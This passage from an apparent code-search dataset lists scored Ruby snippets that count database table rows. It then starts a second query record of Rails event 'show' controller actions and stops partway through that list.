"text": "def count_table(table_name)\r\n client = self.connect\r\n period_count = -1\r\n \r\n # figure out number of periods in the db.\r\n # assume the index is 1-n\r\n db_str = \"SELECT COUNT(*) FROM \" + table_name\r\n client.query(db_str).each do |row|\r\n period_count = row[\"COUNT(*)\"]\r\n end\r\n \r\n # close connection\r\n client.close\r\n \r\n return period_count\r\n end",
"title": ""
},
{
"docid": "cae4cc1914bac1a9891bbfedd1a31db5",
"score": "0.7393282",
"text": "def size\n @db.get_first_value( \"SELECT COUNT(*) FROM #{TABLE_NAME};\" ).to_i\n end",
"title": ""
},
{
"docid": "94f5190a7ed2138ddd194c5d8ab10fc8",
"score": "0.73001224",
"text": "def getrowcount\n @rowcount = @db.execute(\"select count(*) from #{@tablename}\").to_s\nend",
"title": ""
},
{
"docid": "13351a979f779109312c573719b499ca",
"score": "0.70859003",
"text": "def num_rows\n return 0 if rows.nil?\n rows.size\n end",
"title": ""
},
{
"docid": "c3cd40cb916b52a4160111bb305ef841",
"score": "0.7036362",
"text": "def length\n table_ = [keyspace, table].compact.join '.'\n statement = \"SELECT COUNT (*) FROM #{table_} ;\"\n result = session.execute(statement)\n result.first['count']\n end",
"title": ""
},
{
"docid": "973c9d9a3c561a9ba2b4a28eb6ef7309",
"score": "0.7014074",
"text": "def row_count \r\n assert_exists\r\n return rows.length\r\n end",
"title": ""
},
{
"docid": "b628c72be1dad4a7601404d3398bcd82",
"score": "0.69958526",
"text": "def rows_count\n @rows.size\n end",
"title": ""
},
{
"docid": "c56b1cfe8dc8b70a0ef69ab7da24578e",
"score": "0.69107056",
"text": "def table_size\n @table.size\n end",
"title": ""
},
{
"docid": "c56b1cfe8dc8b70a0ef69ab7da24578e",
"score": "0.69107056",
"text": "def table_size\n @table.size\n end",
"title": ""
},
{
"docid": "5efc62a479629a331d9b1a09358ecbfd",
"score": "0.69076854",
"text": "def row_count\n @rows.length;\n end",
"title": ""
},
{
"docid": "b3bcf2533bf4d55749be0fa35c2933b9",
"score": "0.688461",
"text": "def count\n Dynamoid.adapter.count(table_name)\n end",
"title": ""
},
{
"docid": "b3bcf2533bf4d55749be0fa35c2933b9",
"score": "0.688461",
"text": "def count\n Dynamoid.adapter.count(table_name)\n end",
"title": ""
},
{
"docid": "60a41f00c7d0551f6e1a550328e87639",
"score": "0.6833253",
"text": "def count\n @rows.count\n end",
"title": ""
},
{
"docid": "7aa1a437a7798136a7e66f21ab702177",
"score": "0.6815511",
"text": "def cti_table_count\n result = connection.execute(\"SELECT COUNT(*) FROM #{DBViewCTI::Names.table_name(self)};\")\n result[0]['count'].to_i\n end",
"title": ""
},
{
"docid": "c06875e5acd91c41e75a0e3a377d8db5",
"score": "0.679127",
"text": "def number_of_rows_in_table( aTableView)\n @values.length\n end",
"title": ""
},
{
"docid": "8a9e1aa7023ddd1d9a4dce6a877df271",
"score": "0.6700908",
"text": "def count ; @count ||= table.count end",
"title": ""
},
{
"docid": "715a4a29ff2798300b80146617e5c311",
"score": "0.66949004",
"text": "def assert_number_of_table_rows(table_name, number_of_rows)\n assert table_name, \"rowCount\", number_of_rows\n end",
"title": ""
},
{
"docid": "5b29b0374307b122d202ed5937df37bc",
"score": "0.668695",
"text": "def size\n @table.size\n end",
"title": ""
},
{
"docid": "43562912a4a85c76e8954b6db4d38b08",
"score": "0.6686335",
"text": "def size\n table.size\n end",
"title": ""
},
{
"docid": "d665fe897e26df2fe67b7658575f16a3",
"score": "0.66557944",
"text": "def count_tables(main)\n sql = \"show tables; select found_rows();\"\n res = %x(mysql --defaults-extra-file=#{main.config[:mysql_options]} --database=#{main.config[:db_name]} -e '#{sql}')\n res.match(/\\d+/)[0].to_i\nend",
"title": ""
},
{
"docid": "bcaa8cb58dfaba84cdb89a93839d7aef",
"score": "0.6618603",
"text": "def row_count\n return 0 if @list.nil?\n @list.length\n end",
"title": ""
},
{
"docid": "bcaa8cb58dfaba84cdb89a93839d7aef",
"score": "0.6618603",
"text": "def row_count\n return 0 if @list.nil?\n @list.length\n end",
"title": ""
},
{
"docid": "43eb84379777f1a5fdcf12ece1e77b1e",
"score": "0.6617083",
"text": "def size\n @table.size\n end",
"title": ""
},
{
"docid": "57a7b5ad91f6c37d1c8b9bf59ba7a2d5",
"score": "0.6546803",
"text": "def length\n $tracer.trace(format_method(__method__))\n return @rows.length\n end",
"title": ""
},
{
"docid": "1d2d0bfcc68bfeebfc1eafe094494e96",
"score": "0.6512515",
"text": "def number_of_columns\n return rows.first.length unless rows.empty?\n raise Error, 'your table needs some rows'\n end",
"title": ""
},
{
"docid": "29aa30d544aa2ce711731194782ca9c7",
"score": "0.6460021",
"text": "def numberOfRowsInTableView(table)\n \tif @current_tasks\n \t @current_tasks.size\n \telse\n \t 0\n\t end\n end",
"title": ""
},
{
"docid": "f8a5b8e7ef3914d1f4ab276bd27145c5",
"score": "0.6449537",
"text": "def rows_count\n wait\n $browser.find_elements(:xpath, \"#{@locator}/tbody/tr\").size()\n end",
"title": ""
},
{
"docid": "5a59c057ad3c2b8a72f91d281a035a9d",
"score": "0.63261557",
"text": "def row_size\n @rows.size\n end",
"title": ""
},
{
"docid": "301877687cca0e14bb0aae01e7fe71e4",
"score": "0.6310457",
"text": "def record_count\n return nil unless @rows\n @rows.size - 1 # Don't include the header row\n end",
"title": ""
},
{
"docid": "65fdc55ee62c4db1030e9e1b4a03c1db",
"score": "0.62739116",
"text": "def table_counts(tables)\r\n\ttables.each do |table|\r\n\t\tputs \"\"\r\n\t\tputs table['name']\r\n\t\tputs \"column count = #{table['cols'].length}\"\r\n\t\tputs \"type count = #{table['type'].length}\"\r\n\t\ti = 0\r\n\t\ttable['data'].each do |row|\r\n\t\t\tputs \"row #{i} = #{row.length}\"\r\n\t\t\ti += 1\r\n\t\tend\r\n\t\tputs \"\"\r\n\tend\r\nend",
"title": ""
},
{
"docid": "b9bfb017e47a4b9a77d18595482bf55e",
"score": "0.62090546",
"text": "def size\n @rows.size\n end",
"title": ""
},
{
"docid": "2430346d4de2cb40375958f9eb720c25",
"score": "0.6196662",
"text": "def rows_count\n @values.count\n end",
"title": ""
},
{
"docid": "a80208f8fcfc7d83fcdb2b24eb0ae46b",
"score": "0.61727166",
"text": "def numberOfRowsInTableView(view)\n # Return the number of items.\n @entries ? @entries.length : 0\n end",
"title": ""
},
{
"docid": "d8fc7d9eef2db9a2e569c061adb367eb",
"score": "0.6167518",
"text": "def length\n @rows.length\n end",
"title": ""
},
{
"docid": "a159b09ac744edcd41d0fffad5bcc509",
"score": "0.6126683",
"text": "def num_rows()\n return self.length\n end",
"title": ""
},
{
"docid": "967cacbb4eb82a615238ce9ddee54f99",
"score": "0.6117015",
"text": "def table_size_for(entry_count); end",
"title": ""
},
{
"docid": "150bd82242de34c2bba115ecff3e336c",
"score": "0.60825014",
"text": "def getUntappdCount\n db.execute(\"SELECT count(*) FROM #{@untappdTable}\")[0][0]\n end",
"title": ""
},
{
"docid": "9fbcf4d3acdb42605f1e9aa789866d28",
"score": "0.60776496",
"text": "def tableView(tableView, numberOfRowsInSection: section)\n rows_for_section(section).count\n end",
"title": ""
},
{
"docid": "053ec5d55c4d9cc928ea91da095edd81",
"score": "0.6010811",
"text": "def approx_count\n return count unless connection.respond_to?(:approx_count)\n a_count = connection.approx_count(self.table_name)\n return a_count unless a_count\n if a_count < 20000\n\tcount\n else\n\ta_count\n end\n end",
"title": ""
},
{
"docid": "a18f1da0677b99166418da33b9c746d7",
"score": "0.6008136",
"text": "def count_by_sql(sql)\n count = connection.select_one(sql, \"#{name} Count\").values.first\n return count ? count.to_i : 0\n end",
"title": ""
},
{
"docid": "f3470c5d5180f72c4490aaf313ae4bb3",
"score": "0.5992575",
"text": "def _find_number_of_data_rows(rows, col=0)\n puts \"Finding number of data rows. rows.length is returning: #{rows.length.to_s}\"\n cnt_data_rows = 0\n\n rows.each do |row|\n if row.cells.length > 0\n if row.cells[col].present?\n cnt_data_rows = cnt_data_rows + 1\n end # if row.cells[col].present?\n end # if row.cells.length > 0\n end if rows.present? # rows.each do |row|\n\n puts \"We found #{ (cnt_data_rows-1).to_s }\"\n\n # Subtract 1 for header row.\n return cnt_data_rows-1\n end",
"title": ""
},
{
"docid": "ba33cde569f86ae42762546923afc227",
"score": "0.5976344",
"text": "def column_count\r\n assert_exists\r\n arr_rows = rows\r\n return arr_rows[0].column_count\r\n end",
"title": ""
},
{
"docid": "3867ed792b6ad7d1f7f80c99486a8f8a",
"score": "0.5960295",
"text": "def check_table (db, log)\n conn = db.get_prod_conn();\n q = \"SELECT COUNT(*) AS c FROM holdings_htitem_htmember_jn_dev\";\n log.d(q);\n conn.query(q) do |res|\n log.d(res[:c]);\n end\n conn.close();\nend",
"title": ""
},
{
"docid": "6a21049011e7a57b4f48aa3a8588f66c",
"score": "0.59548336",
"text": "def numberOfRowsInTableView(tblView)\n @videoCollection.count\n end",
"title": ""
},
{
"docid": "1a09862d2bd7ffd2a66c11f91e0fc65c",
"score": "0.594787",
"text": "def total_rows\n execute['total_rows']\n end",
"title": ""
},
{
"docid": "b80735d1073dc0f67132dc49f6fefead",
"score": "0.59345675",
"text": "def tableView(tableView, numberOfRowsInSection:section)\n if tableView == self.fakeTableView\n 0\n else\n self.fetchControllerForTableView(tableView).sections[section].numberOfObjects\n end \n end",
"title": ""
},
{
"docid": "f733434cb261e8ae3e3ed216ffe3dac5",
"score": "0.5931219",
"text": "def table_has_rows?(table_name)\n scanner = @stargate.open_scanner(table_name)\n rows = @stargate.get_rows(scanner, limit = 1)\n not rows.empty?\n end",
"title": ""
},
{
"docid": "d32b76cbf9101e489c6776c2286e1dd9",
"score": "0.5922937",
"text": "def has_been_used?(table)\n if has_rows?(table)\n true\n else\n # Patch for MysqlAdapter with ActiveRecord 3.2.7 later\n # select_value(\"SELECT 1\") #=> \"1\"\n select_value(<<-SQL).to_i > 1 # returns nil if not present\n SELECT Auto_increment\n FROM information_schema.tables\n WHERE table_name='#{table}';\n SQL\n end\n end",
"title": ""
},
{
"docid": "33f2f4eee33bf1bff7b79653cef6f046",
"score": "0.59207743",
"text": "def get_count_of_table_items(dynamodb_client, table_name)\r\n result = dynamodb_client.scan(table_name: table_name)\r\n result.items.count\r\nrescue StandardError => e\r\n puts \"Error getting items for table '#{table_name}': #{e.message}\"\r\n 'Error'\r\nend",
"title": ""
},
{
"docid": "8910579d4313db1acb0f1a30a7ccc081",
"score": "0.5904853",
"text": "def row_count\n result = get_filtered_dataset true\n\n result['data'].first.values.first\n end",
"title": ""
},
{
"docid": "f6cc5f666d368fc741458b5b6c662eda",
"score": "0.5900683",
"text": "def get_row_count\n result = get_filtered_dataset true\n\n return result['data'].first.values.first\n end",
"title": ""
},
{
"docid": "7e08c35bfc8ffb4a3470fdf81d375f0a",
"score": "0.58964854",
"text": "def table_exist?(table_name)\n res = run_single_result(\"SELECT COUNT(*) FROM X$File\n WHERE Xf$Name = '#{table_name}'\")\n res == 1\n end",
"title": ""
},
{
"docid": "b0cc576d183e6d1dc238b0e8650c4a20",
"score": "0.58721864",
"text": "def row_count\n row_index.length - 1\n end",
"title": ""
},
{
"docid": "2d1cdd124dcaf1d21fcf541c7bd9927e",
"score": "0.5858366",
"text": "def numrows\n cache_get(:_numrows) || @opts[:numrows]\n end",
"title": ""
},
{
"docid": "a81214bb337111da0ff87ecec6f502ef",
"score": "0.58333933",
"text": "def nrows\n @rownames.size\n end",
"title": ""
},
{
"docid": "888b2efcba99250b74cf667724d03838",
"score": "0.58283275",
"text": "def count(query)\n read(query).length\n end",
"title": ""
},
{
"docid": "5d204902fb7377aed5fe5e3b07518a7e",
"score": "0.58264256",
"text": "def tableView(tableView, numberOfRowsInSection:section)\n @items.size\n end",
"title": ""
},
{
"docid": "8ede6358639ca20a83e6db6b8dccddd8",
"score": "0.58257055",
"text": "def get_count (db, query)\n\tcount = db.execute query\n\treturn count[0][0]\nend",
"title": ""
},
{
"docid": "bb11108c448c3e6f5fcbbab40a247fe0",
"score": "0.58214146",
"text": "def count\n sql = order_by(nil).to_sql(pagination: false)\n\n @connection.ask(\"SELECT COUNT(*) FROM (#{sql}) _total_count\", *args)\n end",
"title": ""
},
{
"docid": "d631186d5cc6e92aba8f8c89e0e4f685",
"score": "0.5817411",
"text": "def size\n\n fetch_all(:count => true)\n end",
"title": ""
},
{
"docid": "9d0c271dc673c71f3a1670300c97e2aa",
"score": "0.5792782",
"text": "def counter\n self.class.db_structure[@table_name][:counter]\n end",
"title": ""
},
{
"docid": "05e16418096ed6fd6f15328700cb4a1b",
"score": "0.5778253",
"text": "def numberOfRowsInTableView_(view)\n\t\treturn 0 if @customers.nil?\n\t return @customers.length\n\tend",
"title": ""
},
{
"docid": "05e16418096ed6fd6f15328700cb4a1b",
"score": "0.5778253",
"text": "def numberOfRowsInTableView_(view)\n\t\treturn 0 if @customers.nil?\n\t return @customers.length\n\tend",
"title": ""
},
{
"docid": "2ffbdb65ca222b987d35588f0ba4c6c2",
"score": "0.5760327",
"text": "def ticket_count()\n sql = \"SELECT COUNT(*) FROM tickets WHERE cust_id = $1\"\n values = [@id]\n count = SqlRunner.run(sql, values)\n return count[0]['count'].to_i\n end",
"title": ""
},
{
"docid": "7b35cd9c43037f98b257132d3c9654c6",
"score": "0.5739555",
"text": "def numberOfRowsInTableView(tableView)\n @filtered_files ? @filtered_files.size : 0\n end",
"title": ""
},
{
"docid": "064482eb3271aeaa7b3577e96281a97e",
"score": "0.5722103",
"text": "def size\n loaded? ? @records.length : count\n end",
"title": ""
},
{
"docid": "c8a101eb3e6be49b89a84c180d681e78",
"score": "0.5717688",
"text": "def count\n redis { |conn| conn.llen(key) }\n end",
"title": ""
},
{
"docid": "aa08de365fae3245937f1d283d842b00",
"score": "0.57166976",
"text": "def size\n loaded? ? @records.length : count\n end",
"title": ""
},
{
"docid": "a5c7d5b7e6868599e6016f23263e6833",
"score": "0.5710607",
"text": "def numberOfRowsInTableView(tableView)\n filteredData.size\n end",
"title": ""
},
{
"docid": "1bda9dce19547c4805522a7484a5fb36",
"score": "0.5704072",
"text": "def db_query__show_tables__count\n db_query_transform__count db_query__show_tables\n end",
"title": ""
},
{
"docid": "2a36a0627475adadf46cd5bfd803f94d",
"score": "0.5694641",
"text": "def count\n Driver.client[coll_name].find.count\n end",
"title": ""
},
{
"docid": "8e32b9590c7f582e6d9ab6f1a48f7d7e",
"score": "0.56758136",
"text": "def row_count\n @stkw_config[:max_row]\n end",
"title": ""
},
{
"docid": "6765b27e75e14a4896334a94e571ea23",
"score": "0.5661661",
"text": "def size\n @hash_table.keys.length\n end",
"title": ""
},
{
"docid": "6b90c04f61422bf90bbc6d1fc37b94aa",
"score": "0.5657584",
"text": "def current_table_size\n @table.inject(0) { |r, (k, v)| r + k.bytesize + v.bytesize + 32 }\n end",
"title": ""
},
{
"docid": "da777cc3c1687dd4b78956be0ce0d25f",
"score": "0.5638386",
"text": "def getUntappdUniqueCount\n db.execute(\"SELECT count(name) FROM #{@untappdTable}\")[0][0]\n end",
"title": ""
},
{
"docid": "dd6967e39015414c3801b317127b5832",
"score": "0.56188476",
"text": "def num_custom_lookup_table_entries\n return @num_custom_lookup_table_entries unless @num_custom_lookup_table_entries.nil?\n if flags.has_custom_lookup_table\n @num_custom_lookup_table_entries = (num_custom_lookup_table_entries_m1 + 1)\n end\n @num_custom_lookup_table_entries\n end",
"title": ""
},
{
"docid": "1e16ec5e8aba8e378a9adc0ee362ed2e",
"score": "0.5597211",
"text": "def size(collection)\n count = (collection.size rescue nil)\n\n case count\n when Integer\n count\n when Hash\n count.size # This represents the number of displayed datatable rows, not the sum all groups (which might be more)\n else\n if collection.klass.connection.respond_to?(:unprepared_statement)\n collection_sql = collection.klass.connection.unprepared_statement { collection.to_sql }\n (collection.klass.connection.exec_query(\"SELECT COUNT(*) FROM (#{collection_sql}) AS datatables_total_count\").rows[0][0] rescue 1)\n else\n (collection.klass.connection.exec_query(\"SELECT COUNT(*) FROM (#{collection.to_sql}) AS datatables_total_count\").rows[0][0] rescue 1)\n end.to_i\n end\n end",
"title": ""
},
{
"docid": "7c0762ff2f09d652dd208e04695806e5",
"score": "0.55972016",
"text": "def column_count\r\n assert_exists\r\n arr_cells = cells\r\n return arr_cells.length\r\n end",
"title": ""
},
{
"docid": "33f255675d57877bf0045c49792efe5d",
"score": "0.5590328",
"text": "def row_counts(tables, min_id, max_id)\n tables = [tables] unless tables.is_a? Array\n lock = Mutex.new\n row_count = {}\n tables.each do |t|\n row_count[t.name] = 0\n if min_id && max_id && t.chunks > 1\n (min_id..max_id).in_chunks(t.chunks, Jetpants.max_concurrency) do |min, max|\n result = query_return_first_value(t.sql_count_rows(min, max))\n lock.synchronize {row_count[t.name] += result}\n end\n else\n row_count[t.name] = query_return_first_value(t.sql_count_rows(false, false))\n end\n output \"#{row_count[t.name]} rows counted\", t\n end\n row_count\n end",
"title": ""
},
{
"docid": "33f255675d57877bf0045c49792efe5d",
"score": "0.5590328",
"text": "def row_counts(tables, min_id, max_id)\n tables = [tables] unless tables.is_a? Array\n lock = Mutex.new\n row_count = {}\n tables.each do |t|\n row_count[t.name] = 0\n if min_id && max_id && t.chunks > 1\n (min_id..max_id).in_chunks(t.chunks, Jetpants.max_concurrency) do |min, max|\n result = query_return_first_value(t.sql_count_rows(min, max))\n lock.synchronize {row_count[t.name] += result}\n end\n else\n row_count[t.name] = query_return_first_value(t.sql_count_rows(false, false))\n end\n output \"#{row_count[t.name]} rows counted\", t\n end\n row_count\n end",
"title": ""
},
{
"docid": "63ae92037a7572e13b997fc461d75591",
"score": "0.5584998",
"text": "def get_number_locked_tables(mysql2_client)\n mysql2_client.query('SHOW OPEN TABLES WHERE IN_USE > 0').count\nend",
"title": ""
},
{
"docid": "936aaaedc8021661adc1a64040a689ca",
"score": "0.5583788",
"text": "def numberOfRowsInTableView_(view)\n \tif view == @copies_table\n return 0 if @copies.nil?\n return @copies.length\n elsif view == @items_table\n\t return 0 if @items.nil?\n\t return @items.length\n\t end\n end",
"title": ""
},
{
"docid": "936aaaedc8021661adc1a64040a689ca",
"score": "0.5583788",
"text": "def numberOfRowsInTableView_(view)\n \tif view == @copies_table\n return 0 if @copies.nil?\n return @copies.length\n elsif view == @items_table\n\t return 0 if @items.nil?\n\t return @items.length\n\t end\n end",
"title": ""
},
{
"docid": "0c5b7732c8488714296d2a614c95b0e2",
"score": "0.55836576",
"text": "def count_columns\n fields.size\n end",
"title": ""
},
{
"docid": "e472de4f7fae401588559c9c449c6e51",
"score": "0.5560055",
"text": "def item_count()\n sql = \"SELECT COUNT(id) AS num FROM items WHERE c_class_id = $1\"\n values=[id]\n return SqlRunner.run(sql,values).first['num'].to_i\n end",
"title": ""
},
{
"docid": "f60683120d500b29f95e57a69216d663",
"score": "0.5557881",
"text": "def ∃table?(table_name); self.sql(\"SELECT does_table_exist('#{table_name}');\").rows[0][0]; end",
"title": ""
},
{
"docid": "e7bc81f13017ccfd3dc88432f6bca0b7",
"score": "0.5555526",
"text": "def tableView(tableView, numberOfRowsInSection:section)\n Mood.count\n end",
"title": ""
},
{
"docid": "b87c6d8c30b6dd6e006289d2a971982c",
"score": "0.5554098",
"text": "def internalRepItemCount\n return @delegate.rowCount\n end",
"title": ""
},
{
"docid": "6e6e162763ccccb345209c66c9001d00",
"score": "0.5552866",
"text": "def column_count\n @stmt_api.column_count\n end",
"title": ""
},
{
"docid": "afb1ea847994a44ff39c393ed3c922e8",
"score": "0.55464256",
"text": "def count_records(params, columns)\n 0\n end",
"title": ""
},
{
"docid": "afb1ea847994a44ff39c393ed3c922e8",
"score": "0.55464256",
"text": "def count_records(params, columns)\n 0\n end",
"title": ""
},
{
"docid": "48779d93bdc32e40b84053d5cb3994b5",
"score": "0.55444247",
"text": "def numberOfRowsInTableView(sender)\n accounts.size\n end",
"title": ""
},
{
"docid": "4fe700f979b79ccc59af109cac3fcb55",
"score": "0.5537528",
"text": "def size\n unless @size\n rows = database.view(VIEW_NAME, reduce: true, key: [0, id])['rows'] rescue []\n @size = rows.first ? rows.first['value'] : 0\n end\n @size\n end",
"title": ""
},
{
"docid": "1aca6d3cd67f363b6da5ce5f11c301e7",
"score": "0.55354166",
"text": "def tuple_count\n underlying_table.count\n end",
"title": ""
},
{
"docid": "b5581cd5d3b3e9f7d864b709fc67bfd6",
"score": "0.55163735",
"text": "def tableView(tableView, numberOfRowsInSection: section)\n @photos.count\n end",
"title": ""
},
{
"docid": "de528893840b56da3acad35ecbee5b7b",
"score": "0.5513072",
"text": "def size\n @redis.llen @key\n end",
"title": ""
},
{
"docid": "0cc88bf826ee162fcf647972afe73f7c",
"score": "0.5507509",
"text": "def count\n @data.size\n end",
"title": ""
},
{
"docid": "31f4c243b6a762d09e404ea7ae74e3e8",
"score": "0.5506574",
"text": "def table_exists?(table_name)\n sql = 'select count(*) as table_exists from pg_tables where tablename = $1::varchar'\n result = conn.exec_params(sql, [table_name])\n result[0]['table_exists'] == 0 ? false : true\n end",
"title": ""
},
{
"docid": "b67fca88995f1b448309c13259d820ab",
"score": "0.55046755",
"text": "def total_count()\n @raw_data.size\n end",
"title": ""
},
{
"docid": "2684da2ea3b7012c8e95891bbbde59e0",
"score": "0.54862374",
"text": "def insert_count\n @rows.count - error_count\n end",
"title": ""
}
] |
c70fffdf12d341bcf1b29d000c3702df | GET /events/1 GET /events/1.json | [
{
"docid": "a247e37db857ddd39197cfd294e5b4e3",
"score": "0.0",
"text": "def show\n\t\tif !isLogin\n\t\t\tredirect_to controller: 'login', action: 'login'\n\t\t\treturn\n\t\tend\n\n\tend",
"title": ""
}
] | [
{
"docid": "2d5580b43c7c18bcd8a06713fa4be0f1",
"score": "0.75926495",
"text": "def show\n\t\tevent_id = params[:id]\n\t\tif event_id.present?\n\t\t\t@event = Com::Nbos::Events::Event.active_events.where(:id => event_id)\n\t\t\trender :json => @event\n\t\telse\n\t\t\trender :json => {status: 400, message: \"Bad Request\"}, status: 400\n\t\tend\n\tend",
"title": ""
},
{
"docid": "ef3b9fa4fcf4cc779afcdcc77f6f94b2",
"score": "0.7470553",
"text": "def show\n @event = Event.find(params[:id])\n render json: @event, status: 200\n end",
"title": ""
},
{
"docid": "a6f17cb2e0c0bf15dafb24e485b6f80d",
"score": "0.7444542",
"text": "def show\n\t\t@events = Event.find(params[:id])\n\n\t\trespond_to do |format|\n\t\t\tformat.html\n\t\t\tformat.json {render json: @events}\n\t\tend\n\tend",
"title": ""
},
{
"docid": "3b34aa351459656af1ea987c26bdcb1b",
"score": "0.744193",
"text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.json { render json: @event }\n end\n end",
"title": ""
},
{
"docid": "3b34aa351459656af1ea987c26bdcb1b",
"score": "0.744193",
"text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.json { render json: @event }\n end\n end",
"title": ""
},
{
"docid": "32f1c45b802c8eb963b57bd19c7021bc",
"score": "0.74406016",
"text": "def show \n @event = Event.find params[:id]\n render json: @event, status: :ok\n end",
"title": ""
},
{
"docid": "59fd8e27453bd20f76931164769ca4a8",
"score": "0.74241066",
"text": "def show\n @event = Event.find_by(id: params[:id])\n render json: @event\n end",
"title": ""
},
{
"docid": "23b081913c4095ba481ca20c0017c37a",
"score": "0.7424073",
"text": "def show\n \n @event = Event.find(params[:id])\n \n\n respond_to do |format|\n format.html # events_path\n format.json { render json: events_path }\n end\n end",
"title": ""
},
{
"docid": "470317defe83e35951c6c122d1f185b0",
"score": "0.73936605",
"text": "def show\n render json: @event, status: 200\n end",
"title": ""
},
{
"docid": "877c162a18ff6baee8f083e383d2ad98",
"score": "0.7383787",
"text": "def show\n \t@event = Event.find(params[:id])\n \trender json: @event\n \t\n end",
"title": ""
},
{
"docid": "da5a9d883b89e5e96507ec12f9e0aa14",
"score": "0.73572993",
"text": "def event\n begin\n JSON.parse(@omegle.post('/events', \"id=#{@id}\").body)\n rescue\n end\n end",
"title": ""
},
{
"docid": "39720392e6631a437f629bf51500afb9",
"score": "0.73560303",
"text": "def show\n render json: @event.to_json, status: 200\n end",
"title": ""
},
{
"docid": "53f346e7133fc3a8dd0297a45e606186",
"score": "0.7343874",
"text": "def show\n @simple_event = SimpleEvent.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @simple_event }\n end\n end",
"title": ""
},
{
"docid": "483079b80dfb97ee802273ad3849fa6b",
"score": "0.7329677",
"text": "def events\n @page = 'events'\n respond_to do |format|\n format.html {\n @events = Event.find(:all)\n }\n format.json {}\n end\n end",
"title": ""
},
{
"docid": "50fda9b8c4c7883bb7aef1c21d64535d",
"score": "0.7296473",
"text": "def show\n @event = Event.find(params[:event_id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end",
"title": ""
},
{
"docid": "26631fa7d741f63dc0de4ebc0ce1e053",
"score": "0.72901815",
"text": "def index\n render json: { \n status: 200, \n events: Event.get_ongoing_events.as_json(\n only: [\n :id, \n :event_name, \n :reward_item, \n :event_start_time, \n :event_end_time\n ] \n )\n }\n end",
"title": ""
},
{
"docid": "93e221f52a1fb29f9fa66aa41392b614",
"score": "0.72677374",
"text": "def index\n json_response(@calendar.events)\n end",
"title": ""
},
{
"docid": "72c923bebff9a490f37ce18ecc3c9c3f",
"score": "0.72532594",
"text": "def index\n @events = Event.all\n\n render json:{status: 200, events: @events}, status: :ok\n end",
"title": ""
},
{
"docid": "6b0594a368be5468d07ec6b6adda204f",
"score": "0.7244934",
"text": "def show\n @event = Event.find(params[:id])\n render json: @event, serializer: EventSerializer\n end",
"title": ""
},
{
"docid": "43a32e9b14935754f5350879e1afed4b",
"score": "0.7244453",
"text": "def get(event_id)\n request 'get', :e_id => event_id\n end",
"title": ""
},
{
"docid": "37a406a970f90d1bbcbc7811263a0334",
"score": "0.7243571",
"text": "def show\n \t@event = Event.find(params[:id])\n respond_to do |format|\n format.json { render json: @event, status: :ok }\t\n end \t \t\n end",
"title": ""
},
{
"docid": "905af5b22530fb3991afcfb14e6c4358",
"score": "0.7241864",
"text": "def show\n @event = Event.find params[:id]\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @event.to_api_hash }\n end\n end",
"title": ""
},
{
"docid": "febcc91647b65e8ccc5954b1cf77ecf7",
"score": "0.7237047",
"text": "def show\n render json: @event, status: :ok\n end",
"title": ""
},
{
"docid": "c1413f5ad65b767ef61afdd4893b8b7f",
"score": "0.7231732",
"text": "def show\n ##\n @event = Event.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { respond_event @event }\n end\n end",
"title": ""
},
{
"docid": "286c133d90e3577bef6bb7ce8998890f",
"score": "0.7223309",
"text": "def show\n @event = Calendar.find(params[:id])\n render json: @event\n end",
"title": ""
},
{
"docid": "a069e984b7364b889a975fb865b92e2e",
"score": "0.7219172",
"text": "def show\n @event = Event.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end",
"title": ""
},
{
"docid": "a069e984b7364b889a975fb865b92e2e",
"score": "0.7219172",
"text": "def show\n @event = Event.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end",
"title": ""
},
{
"docid": "04cc950e605be71e9988faad209e5239",
"score": "0.7215904",
"text": "def show\n @event = Event.find(params[:id])\nlogger.info @event.to_json\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @event }\n end\n end",
"title": ""
},
{
"docid": "a304667961121c67ccaa3df021b1d564",
"score": "0.72146964",
"text": "def retrieve(id)\n @client.make_request(:get, \"events/#{id}\", MODEL_CLASS)\n end",
"title": ""
},
{
"docid": "66cec9200352931dc624c60aa268ea93",
"score": "0.7204848",
"text": "def index\n @events = Event.all\n render json: @events\n end",
"title": ""
},
{
"docid": "5afd9c217db582ab4e1d31c633a112c3",
"score": "0.7201678",
"text": "def index\n @events = Event.get_events(params)\n end",
"title": ""
},
{
"docid": "a85255d083e155277c7206a8fbe1dc67",
"score": "0.7193262",
"text": "def events\n @events = Event.find(:all)\n\t respond_to do |format|\n\t\tformat.html # show.html.erb\n\t\tformat.json { render :json => @events }\n\t end\nend",
"title": ""
},
{
"docid": "b55800920566b8d1705156e86e9a3d26",
"score": "0.7192214",
"text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end",
"title": ""
},
{
"docid": "b55800920566b8d1705156e86e9a3d26",
"score": "0.7192214",
"text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end",
"title": ""
},
{
"docid": "b55800920566b8d1705156e86e9a3d26",
"score": "0.7192214",
"text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end",
"title": ""
},
{
"docid": "b55800920566b8d1705156e86e9a3d26",
"score": "0.7192214",
"text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end",
"title": ""
},
{
"docid": "b55800920566b8d1705156e86e9a3d26",
"score": "0.7192214",
"text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end",
"title": ""
},
{
"docid": "b55800920566b8d1705156e86e9a3d26",
"score": "0.7192214",
"text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end",
"title": ""
},
{
"docid": "b55800920566b8d1705156e86e9a3d26",
"score": "0.7192214",
"text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end",
"title": ""
},
{
